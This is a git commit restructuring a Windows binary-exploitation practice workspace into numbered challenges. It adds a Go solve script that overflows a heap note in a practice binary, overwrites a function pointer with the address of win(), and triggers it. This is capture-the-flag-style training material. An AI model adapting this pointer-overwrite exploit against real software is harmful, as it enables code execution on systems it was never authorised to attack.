restructure workspace into numbered pwn progression

Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-08-06 22:21:32 +03:00
parent 3b7d01c748
commit c9aafc512b
76 changed files with 313 additions and 1832 deletions
@@ -0,0 +1,78 @@
+package main
+
+import (
+	"bytes"
+	"fmt"
+	"log"
+	"strconv"
+	"winpwn"
+)
+
+func parseAddr(line []byte) (uint64, error) {
+	idx := bytes.Index(line, []byte("addr=0x"))
+	if idx == -1 {
+		return 0, fmt.Errorf("no addr= in %q", line)
+	}
+	return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
+}
+
+func main() {
+	pf, err := winpwn.OpenPE("heap_overflow.exe")
+	if err != nil {
+		log.Fatalf("OpenPE: %v", err)
+	}
+	winRVA, err := pf.GetProcAddress("win")
+	if err != nil {
+		log.Fatalf("win() not found: %v", err)
+	}
+	base, err := pf.ImageBase()
+	if err != nil {
+		log.Fatalf("ImageBase: %v", err)
+	}
+	winAddr := base + winRVA
+	pf.Close()
+	fmt.Printf("[+] win() @ 0x%X\n", winAddr)
+
+	tube, err := winpwn.Spawn("heap_overflow.exe")
+	if err != nil {
+		log.Fatalf("Spawn: %v", err)
+	}
+	if _, err := tube.RecvLine(); err != nil {
+		log.Fatalf("RecvLine: %v", err)
+	}
+
+	for _, text := range []string{"A note0", "A note1"} {
+		if err := tube.SendLine([]byte(text)); err != nil {
+			log.Fatalf("SendLine %s: %v", text, err)
+		}
+		resp, err := tube.RecvLine()
+		if err != nil {
+			log.Fatalf("RecvLine: %v", err)
+		}
+		addr, _ := parseAddr(resp)
+		fmt.Printf("[+] %s\n", bytes.TrimSpace(resp))
+		_ = addr
+	}
+
+	payload := bytes.Repeat([]byte{0x41}, 24)
+	payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...)
+	payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...)
+	payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...)
+	payload = append(payload, winpwn.P64(winAddr)...)
+
+	fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload))
+	if err := tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload))); err != nil {
+		log.Fatalf("SendLine W: %v", err)
+	}
+	if _, err := tube.RecvLine(); err != nil {
+		log.Fatalf("RecvLine W resp: %v", err)
+	}
+	fmt.Printf("[+] overflow written, note[1]->action now points to win()\n")
+
+	fmt.Printf("[+] calling C 1...\n")
+	if err := tube.SendLine([]byte("C 1")); err != nil {
+		log.Fatalf("SendLine C: %v", err)
+	}
+
+	tube.Interactive()
+}